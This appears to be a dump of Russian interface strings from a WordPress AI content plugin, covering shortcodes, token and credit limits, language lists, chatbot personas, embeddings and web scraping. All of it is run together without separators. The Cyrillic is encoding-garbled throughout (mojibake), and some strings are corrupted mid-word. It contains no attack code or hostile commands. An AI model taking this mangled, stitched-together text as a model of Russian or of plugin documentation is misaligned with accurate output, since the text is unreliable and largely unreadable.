%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать наÑтраиваемые Ð¿Ð¾Ð»Ñ (мета-ÑообщениÑ), назначенные ÑообщениÑм, Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¼ÐµÑ‚Ð°Ð¿Ð¾Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (мета пользователÑ), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из наÑтраиваемого Ð¿Ð¾Ð»Ñ post_data, вам Ñледует иÑпользовать Ñтот короткий код: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ промпта. Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов).ИнÑÑ‚Ñ€ÑƒÐºÑ†Ð¸Ñ Ð´Ð»Ñ AI-редактора по редактированию заголовка поÑта. ПожалуйÑта, укажите Ñвою инÑтрукцию, не добавлÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´ %%post_title%%, так как контент будет автоматичеÑки добавлен во Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸. ЗдеÑÑŒ также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды из других плагинов. Ð’Ñ‹ также можете иÑпользовать Ñледующие короткие коды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать наÑтраиваемые Ð¿Ð¾Ð»Ñ (мета-ÑообщениÑ), назначенные ÑообщениÑм, Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¼ÐµÑ‚Ð°Ð¿Ð¾Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (мета пользователÑ), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из наÑтраиваемого Ð¿Ð¾Ð»Ñ post_data, вам Ñледует иÑпользовать Ñтот короткий код: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ промпта. Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов).ИнÑтрукции по отправке Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¾Ñ€Ð° AI (редактирование Контента):ИнÑÑ‚Ñ€ÑƒÐºÑ†Ð¸Ñ Ð¿Ð¾ отправке Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¾Ñ€Ð° AI (Редактирование ÐнонÑа):ИнÑтрукции по отправке Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¾Ñ€Ð° AI (редактирование заголовка):Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ñ Â«Ultimate Membership Pro»СиÑтема Интерактивного ГолоÑового Ответа (IVR)Ð˜Ð½Ñ‚ÐµÑ€ÐµÑ ÐÑцендентИнтереÑноÑÑ‚ÑŒ ПотомкаВнутренние СÑылкиДоÑтуп в Интернет / Ключи API ÑвÑзанных рубрик:ПредÑтавлен неверный тип файла.Указан недопуÑтимый Frequency_penalty:Указана Ð½ÐµÐ²ÐµÑ€Ð½Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒ:Указан неверный вариант presence_penaltyп:Указана Ð½ÐµÐ²ÐµÑ€Ð½Ð°Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ð°:Указан неверный top_p:ИрландÑкийИрландÑкий (переводчик Google)CRON работаетИтальÑнÑкаÑИтальÑнÑкий (переводчик Google)КурÑивныйИталиÑID ÑлементаÐазвание товара:Тип объÑвлениÑТип вещи:ЯпониÑЯпонÑкаÑЯпонÑкий (переводчик Google)ЯванÑкийЯванÑкий (переводчик Google)ПроÑто Ñкачайте Плагин Ñ CodeCanyon и уÑтановите его на Ñвой Ñайт за неÑколько Ñекунд.K_DPMPP_2MK_DPMPP_2S_ANCESTRALK_DPM_2K_DPM_2_ANCESTRALK_EULERK_EULER_ANCESTRALK_HEUNK_LMSКаннадаКаннада (переводчик Google)КазахÑкийКазахÑкий (переводчик гугл)Ключевое СловоМодель Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐšÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Слов (необÑзательно):Промпт Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐšÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Слов (необÑзательно):Заменитель Ключевых СловКлючевые СловаКхмерÑкийКхмерÑкий (переводчик Google)КиньÑруандаКиньÑрванда (Google Translate)КонканиКонкани (Переводчик Google)корейÑкий ÑзыкКорейÑкий (переводчик Google)КриоКрио (Переводчик Google)КурдÑкийКурдÑкий (переводчик Google)КурдÑкий - СораниКурдÑкий - Сорани (Google Translate)КыргызÑкийКыргызÑкий (переводчик Google)Этикетка*ЯзыкЯзык:ЛаоÑÑкийЛао (переводчик Google)ПоÑледний OmniBlock не ÑвлÑетÑÑ Ð±Ð»Ð¾ÐºÐ¾Ð¼ типа «ДейÑтвие»! Ð’Ñе данные, Ñозданные поÑле поÑледнего блока типа «ДейÑтвие», будут потерÑны.ПоÑледнÑÑ ÑтраницаПоÑледний запуÑк: СвежийПоÑледние новоÑтиLatinЛатиница (переводчик Google)ЛатышÑкийЛатышÑкий (переводчик Google)ÐаучитеÑÑŒ опиÑывать цель изображениÑПодробнееОÑтавьте пуÑтым, еÑли изображение чиÑто декоративное.ЛевыйДопуÑтим, вы хотели бы дать Ñвоему AI возможноÑÑ‚ÑŒ отвечать на конкретные вопроÑÑ‹ о контенте вашего веб-Ñайта, компании, продукте или о чем-то еще, но вы не хотите проходить процеÑÑ Ð¾Ð±ÑƒÑ‡ÐµÐ½Ð¸Ñ ÑобÑтвенной модели AI. Ð’ Ñтом Ñлучае вам понадобитÑÑ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ "Ð’ÑтраиваниÑ". ПроÑто укажите Ñвои ÑƒÑ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ Ð² Разделе Плагина "Ð’ÑтраиваниÑ", и они также будут отправлены AI Создателю Контента , когда Ñто необходимо.ДопуÑтим, вы хотите обучить Ñвой AI отвечать на конкретные вопроÑÑ‹ о Ñодержании вашего веб-Ñайта, компании, продукте или о чем-то еще. Ð’Ñ‹ можете добитьÑÑ Ñтого, наÑтроив модель, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñвои ÑобÑтвенные данные! Обратите внимание, Ñтот процеÑÑ Ñ‚Ñ€ÐµÐ±ÑƒÐµÑ‚ больших уÑилий. Ключевым здеÑÑŒ ÑвлÑетÑÑ Ð¿Ð¾Ð´Ð³Ð¾Ñ‚Ð¾Ð²ÐºÐ° выÑококачеÑтвенных данных. И вам нужно Ñделать много теÑтов, чтобы добитьÑÑ Ð½Ð°Ð¸Ð»ÑƒÑ‡ÑˆÐ¸Ñ… результатов!Тип Лицензии:Ограничить количеÑтво Ñимволов мета-опиÑаниÑ, генерируемого AI:Ограничение количеÑтва Ñимволов в PDF:Ограничение количеÑтва Ñтраниц в PDF:ОграничениÑЛимиты и ÑтатиÑтикаÐаÑтройки лимитов и ÑтатиÑтикиУчебное видео по Лимитам и СтатиÑтикеЛимиты недоÑтупныЛингалаЛингала (Переводчик Google)СÑылкуКлючевые Слова Ð´Ð»Ñ Ð¡ÑылокСÑылка Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸ÑОпиÑание публикации в LinkedInURL-Ð°Ð´Ñ€ÐµÑ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ð¸ в LinkedInСÑылка на ПоÑÑ‚ в LinkedInШаблон ПоÑта LinkedInЗаголовок ПоÑта в LinkedInГенератор поÑтов LinkedinomaticСпиÑок Форм AIСпиÑок возможных переменных:ЛитовÑкий ÑзыкЛитовÑкий (переводчик Google)Загрузить контент файлаЗагрузить из файлаЗагруженные раÑÑˆÐ¸Ñ€ÐµÐ½Ð¸Ñ PHPЗагрузка контента...Загрузка редактора...Загрузка...МеÑтное времÑ: Локально на ÑерверМеÑтоположениеВход пуÑтМеньшие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¾Ð±Ñ‹Ñ‡Ð½Ð¾ приводÑÑ‚ к меньшему количеÑтву Ð´Ð²Ð¸Ð¶ÐµÐ½Ð¸Ñ Ð² выходном видео, а большие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ - к большему. Этот параметр ÑоответÑтвует параметру motion_bucket_id из Ñтатьи.ЛугандаЛуганда (Переводчик Google)ЛюкÑембургÑкийЛюкÑембургÑкий (переводчик Google)македонÑкийМакедонÑкий (переводчик Google)ОÑновные наÑтройки AI API:Выбор оÑновного поÑтавщика уÑлуг API:Главные ÐаÑтройкиГлавный переключатель:Короткий код оÑновного ключевого ÑловаТех. РаботыМайтхилиМайтхили (Переводчик Google)Сделайте поиÑк чувÑтвительным к региÑтру:МалагаÑийÑкийМалагаÑийÑкий (переводчик Google)МалайÑкийМалайÑкий (переводчик Google)МалаÑламМалаÑлам (переводчик Google)МальтийÑкийМальтийÑкий (переводчик Google)УправлÑтьУправление AI OmniBlocksУправление файлами аÑÑиÑтентаУправление аÑÑиÑтентамиУправление аÑÑиÑтентами:Управление перÑонажами чат-бота:Управление файлами OmniBlock:Управление шаблонами OmniBlock:Управление загруженными файлами помощникаРучной ÑпиÑок Заголовоков и изображенийРучные СÑылкиРучной ÑпиÑок ЗаголовоковРучной ÑпиÑок Заголовоков:Ручной ÑпиÑок изображенийРучной ÑпиÑок изображений:Ручной ÑпиÑок URL-адреÑов (по одному в Ñтроке)Ручной ÑпиÑок URL-адреÑов (по одному в Ñтроке):СпиÑок URL-адреÑов вручнуюВручную запуÑтите AI редактирование Ð´Ð»Ñ Ñтого ПоÑтаВручную запуÑтите Редактирование ПоÑтов ÑейчаÑ:ЗапуÑк ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономии вручную. ЗапиÑÑŒ ÑейчаÑ:ЗапиÑÑŒ опиÑÐ°Ð½Ð¸Ñ Ñ‚Ð°ÐºÑономии вручную:МаориМаори (переводчик Google)маратхиМаратхи (переводчик Google)СопоÑтавьте также чаÑтичные Ñлова:МакÑ.ÐœÐ°ÐºÑ #МакÑимальное количеÑтво Ñообщений чата Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ в качеÑтве контекÑта API:МакÑимальное количеÑтво гоÑтевых кредитов:МакÑимальное КоличеÑтво Продуктов Ð´Ð»Ñ Ð’ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ ÐœÐ°ÐºÑимальное КоличеÑтво Продуктов Ð´Ð»Ñ Ð’ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ:МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñ†ÐµÐ½Ð° в пенниМакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñ†ÐµÐ½Ð° в пенни:МакÑимальное количеÑтво токеновМакÑимальное количеÑтво токеновМакÑимальное количеÑтво пользовательÑких кредитовМакÑимальное количеÑтво пользовательÑких кредитов:МакÑимальное количеÑтво Ñтрок Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ÐœÐ°ÐºÑимальное количеÑтво ÑохранÑемых ÑимволовМакÑимальное количеÑтво Ñлементов Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ÐœÐ°ÐºÑимальный размер блока Ñимволов Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ в редактор AI (необÑзательно):МакÑимальное количеÑтво токенов Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð° Ð·Ð°Ð¿Ñ€Ð¾Ñ APIМакÑимальное количеÑтво токенов Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð° Ð·Ð°Ð¿Ñ€Ð¾Ñ API:МакÑимальное количеÑтво кредитов Ð´Ð»Ñ Ð³Ð¾ÑтейМакÑимальное количеÑтво кредитов Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹ÐœÐ°ÐºÑимальное количеÑтво Внутренних СÑылок Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Контенту ПоÑтаМакÑимальное количеÑтво Внутренних СÑылок Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Контенту ПоÑта:МакÑимальное КоличеÑтво Категорий Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² ПоÑÑ‚:МакÑимальное количеÑтво Комментариев Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº ПоÑту:МакÑимальное КоличеÑтво Изображений, которые можно редактировать в одном ПоÑте:МакÑимальное количеÑтво ПоÑтов Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸:МакÑимальное КоличеÑтво Продуктов Ð´Ð»Ñ Ð—Ð°Ð¿Ñ€Ð¾ÑаМакÑимальное количеÑтво ÑвÑзанных Заголовоков Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº ÑодержимомуМакÑимальное количеÑтво ÑвÑзанных Заголовоков Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому:МакÑимальное количеÑтво ÑвÑзанных изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº ÑодержимомуМакÑимальное количеÑтво ÑвÑзанных изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому:МакÑимальное КоличеÑтво Тегов Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº ПоÑту:МакÑимальное КоличеÑтво Обрабатываемых ТакÑономий:МакÑимальное количеÑтво ПоÑтов Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ:МакÑимальное количеÑтво токенов Промптов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð° Ð·Ð°Ð¿Ñ€Ð¾Ñ APIМакÑимальное количеÑтво токенов Промптов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² запроÑе API:МакÑимальное количеÑтво заменМакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° результатаМакÑимальное количеÑтво маркеров результата Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² запроÑе API:МакÑимальное общее количеÑтво токенов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð° Ð·Ð°Ð¿Ñ€Ð¾Ñ APIМакÑимальное общее количеÑтво токенов Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð° Ð·Ð°Ð¿Ñ€Ð¾Ñ API:МакÑимальное Ð²Ñ€ÐµÐ¼Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸ÑМакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð²Ñ‹Ñота изображениÑ.МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ ÑˆÐ¸Ñ€Ð¸Ð½Ð° изображениÑ.МакÑимальное количеÑтво категорий Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ. Ð’Ñ‹ также можете иÑпользовать диапазоны значений, например: 3-5. Значение по умолчанию: 1-2.МакÑимальное количеÑтво комментариев Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Шорткоду %%previous_comments%%. Значение по умолчанию — 5.МакÑимальное количеÑтво комментариев Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ. Ð’Ñ‹ также можете иÑпользовать диапазоны значений, например: 3-5. Значение по умолчанию: 1-2.МакÑимальное количеÑтво изображений, которые должны быть отредактированы из контента поÑта. Это защитный механизм, не позволÑющий плагину редактировать Ñлишком много изображений из контента одного поÑта. Чтобы отключить Ñту функцию, оÑтавьте Ñто значение пуÑтым.МакÑимальное КоличеÑтво Тегов Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ. Ð’Ñ‹ также можете иÑпользовать диапазоны значений, например: 3-5. Значение по умолчанию: 1-2.МакÑимальный размер загружаемого файлаМакÑимальный размер загружаемого файла:РаÑÑˆÐ¸Ñ€ÐµÐ½Ð¸Ñ ÐœÐµÐ´Ð¸Ð°Ñ‚ÐµÐºÐ¸ÐžÐ±ÑƒÑ‡Ð°ÑŽÑ‰Ð¸Ðµ видеоролики по РаÑширениÑм Медиатеки:МейтейлонМейтейлон (Google Translate)ПорÑдок ÑортировкиÐазвание менюПоÑÑ‚ при доÑтижении лимита (вход в ÑиÑтему):ПоÑÑ‚ при доÑтижении лимита (не вошел в ÑиÑтему):ПоÑÑ‚ при доÑтиженAI предела (ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° оÑнове Правил — Глобальные):Ð˜Ð¼Ñ Ð¼ÐµÑ‚Ð°-ключа:Значение мета-ключа:Значение метаданныхÐомер мета значениÑВыбор методаМекÑикаMicrosoft AzureAPI-Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ñ‡Ð¸ÐºÐ° Microsoft:Ключ доÑтупа к переводчику Microsoft (необÑзательно)Код региона переводчика Microsoft (необÑзательно)Ближний ВоÑток (Бахрейн)Миним.ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñ†ÐµÐ½Ð° в Ð¿ÐµÐ½Ð½Ð¸ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ñ†ÐµÐ½Ð° в пенни:ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ ÑˆÐ¸Ñ€Ð¸Ð½Ð° изображениÑ.Смешанные СÑылкиМизоMizo (Переводчик Google)МетодРежим: режим, в котором был Ñделан запроÑ.ÐœÐ¾Ð´ÐµÐ»ÑŒÐ‘Ð°Ð·Ð¾Ð²Ð°Ñ ÐœÐ¾Ð´ÐµÐ»ÑŒÐœÐ¾Ð´ÐµÐ»ÑŒ Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐšÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Слов Ð´Ð»Ñ Ð›Ð¸Ñ†ÐµÐ½Ð·Ð¸Ð¾Ð½Ð½Ñ‹Ñ… Изображений:ÐаÑтройки моделиМодель: модель AI, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÐµÐ¼Ð°Ñ Ð´Ð»Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа.Ðа модерацииИзмененоИзменить приглашение Ð´Ð»Ñ AI Writer Ñ Ð¸Ñпользованием результатов поиÑка в Интернете:Измените приглашение Ð´Ð»Ñ Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð·Ð°Ð¿Ð¸Ñи AI, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¿Ñ€Ð¸Ð²ÐµÐ´ÐµÐ½Ð½Ñ‹Ð¹ ниже шаблон, добавив также информацию, извлеченную из Интернета. Можно иÑпользовать Ñледующие Шорткоды: %%original_query%% (Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ñходного поиÑкового запроÑа), %%current_date%% (Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñ‚ÐµÐºÑƒÑ‰ÐµÐ¹ даты), %%web_results%% (Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð¸Ñкового результаты запроÑа).Измените шаблон Шорткода %%web_results%%. Ð’Ñ‹ Ñможете иÑпользовать Ñледующие Шорткоды: %%result_counter%% (Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð½Ð´ÐµÐºÑа текущего результата), %%result_title%% (Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° текущего результата), %%result_snippet. %% (чтобы добавить фрагмент текущего результата), %%result_link%% (чтобы добавить URL-Ð°Ð´Ñ€ÐµÑ Ñ‚ÐµÐºÑƒÑ‰ÐµÐ³Ð¾ результата). Значение по умолчанию Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ ÐаÑтроек: [%%result_counter%%]: %%result_title%% %%result_snippet%% URL: %%result_link%%МонгольÑкийМонгольÑкий (переводчик Google)МеÑÑÑ†Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð¼ÐµÑÑца:ПодробнееБольше ФункцийБольше ИнформацииБольше вариантовБольше вариантов Изображений Royalty Free:Больше ÐаÑтроекБольше ÐаÑтроек:Подробнее о Ð’ÑтраиваниÑхПодробнее о Тонкой ÐаÑтройкеБолее раÑÑˆÐ¸Ñ€ÐµÐ½Ð½Ð°Ñ Ð¸ Ð´ÐµÑ‚Ð°Ð»Ð¸Ð·Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ ÑиÑтеме.Подробнее о вÑтраиваниÑÑ… Ñм.Больше Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ð¸Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ %sПеремеÑтить вÑе ПоÑÑ‚Ñ‹ в корзинуМногоÑтрочный вводРазделитель МножеÑтвенного СпарÑенного Контента:МузыкаКлиентÑÐºÐ°Ñ ÐšÐ¾Ð´Ð¸Ñ€Ð¾Ð²ÐºÐ° MySQLMySQL ÐŸÐ¾Ð´Ñ€Ð¾Ð±Ð½Ð°Ñ Ð²ÐµÑ€ÑиÑВерÑÐ¸Ñ MySQLВерÑÐ¸Ñ MySQL:NLP API Key:СамовывозИмÑПроÑтранÑтво ИменÐатуральныйПриродаПерейдите на вкладку «Ключи API» в верхней чаÑти Ñтой Ñтраницы админиÑтратора.Перейдите в Раздел «Лимиты и ÑтатиÑтика» Плагина Aiomatic.Ðужна помощь в наÑтройке Ñтого Плагина? ПожалуйÑта, проверьте Ñтот ВИДЕО-УРОК.Ðужна помощь?ÐепальÑкийÐепальÑкий (переводчик Google)Вложенные Шорткоды также поддерживаютÑÑ!ÐидерландыÐовое Ð¸Ð¼Ñ Ð¸Ñточника публикацииÐовые ПоÑÑ‚Ñ‹ ÑозданыÐовое правилоВ Ñтот плагин добавлена â€‹â€‹Ð½Ð¾Ð²Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ: она может иÑпользовать HeadlessBrowserAPI Ð´Ð»Ñ Ð¾Ñ‡Ð¸Ñтки контента, отображаемого на JavaScript, Ñ Ð»ÑŽÐ±Ð¾Ð³Ð¾ веб-Ñайта из Интернета. Кроме того, узел API Tor Ñможет очищать Ñайты .onion из даркнета!Ðовый! Ð’Ñ‹ можете иÑпользовать Шорткод [aicontent]Your Prompt[/aicontent] в Ñтом или другомÐовейшееПрибытиеÑÐ»ÐµÐ´ÑƒÑŽÑ‰Ð¸Ð¹Ð¡Ð»ÐµÐ´ÑƒÑŽÑ‰Ð°Ñ ÑтраницаСледующий прогон: ÐетOmniBlock типа «ДейÑтвие» не добавлен в очередь! Добавьте OmniBlock типа «ДейÑтвие», например «Сохранить поÑты», Ð´Ð»Ñ Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð´Ð°Ð½Ð½Ñ‹Ñ…, Ñозданных AI. Ð’ противном Ñлучае оно будет потерÑно.Ð’ Ñто правило не добавлено ни одного типа AI OmniBlock.Типы AI OmniBlock не определены!ÐÑÑиÑтенты не добавлены, перейдите в меню «AI ÐÑÑиÑтенты» плагина, чтобы добавить новых помощников!Изменений не произведеноБез изменений - не Ñоздано новых ПоÑтовФайлы OmniBlock не найдены. Ð’Ñ‹ можете добавить другие, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ 'Загрузить файл OmniBlock' Ñверху. Ð’Ñ‹ также можете генерировать новые файлы Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ OmniBlocks.Шаблоны OmniBlock не добавлены. Ð’Ñ‹ можете добавить больше, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ «Добавить новые шаблоны OmniBlock» Ñверху. Ð’Ñ‹ также можете импортировать шаблоны по умолчанию, поÑтавлÑемые Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼, нажав кнопку «Резервное копирование/воÑÑтановление шаблонов OmniBlock» Ñверху, а затем кнопку «Импортировать шаблоны OmniBlock по умолчанию».Ðет иÑточников ПоÑтов.Ðет разрешенных ИÑточников Royalty Free Изображений ÐÑÑиÑтенты не добавлены. Ð’Ñ‹ можете добавить больше, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ «Добавить Ðового ÐÑÑиÑтента» Ñверху.Ðватар не добавленПерÑонажи чат-бота не добавлены. Добавьте их на вкладке «Управление профилÑми чат-бота».ПерÑонажи чат-бота не добавлены. Ð’Ñ‹ можете добавить больше, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ «Добавить новую личноÑть» Ñверху.Ðи один файл не отправлен на загрузку.Изображение не возвращаетÑÑ 